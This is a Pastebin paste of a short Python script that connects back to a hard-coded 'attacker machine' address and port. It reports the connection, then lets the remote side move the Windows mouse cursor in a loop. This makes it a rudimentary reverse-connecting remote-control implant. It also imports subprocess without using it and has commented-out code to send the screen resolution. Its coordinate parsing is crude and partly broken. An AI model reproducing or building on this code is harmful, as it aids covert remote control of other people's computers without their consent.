Guest User

Untitled

a guest
Aug 6th, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.81 KB | None | 0 0
  1. # imports here
  2. import socket,subprocess
  3. import win32api
  4.  
  5.  
  6. HOST = '192.168.1.64' # The remote host
  7. PORT = 444 # The same port as used by the server
  8.  
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.  
  11. # connect to attacker machine
  12. s.connect((HOST, PORT))
  13.  
  14. # send we are connected
  15. s.send(("Connection Established!").encode('utf-8'))
  16.  
  17. #skicka skärmupplösing
  18. """s.send((str(win32api.GetSystemMetrics(0))).encode('utf-8'))
  19. print(1)
  20. s.send((str(win32api.GetSystemMetrics(1))).encode('utf-8'))
  21. print(1)"""
  22.  
  23.  
  24. # start loop
  25. while True:
  26. xypos = s.recv(1024).decode('utf-8')
  27. print (xypos)
  28. xpos = int(list(xypos)[1])
  29. ypos = int(list(xypos)[2])
  30. try:
  31. win32api.SetCursorPos((xpos,ypos))
  32. except:
  33. pass
  34. print(1)
  35.  
  36. # close socket
  37. s.close()
Add Comment
Please, Sign In to add comment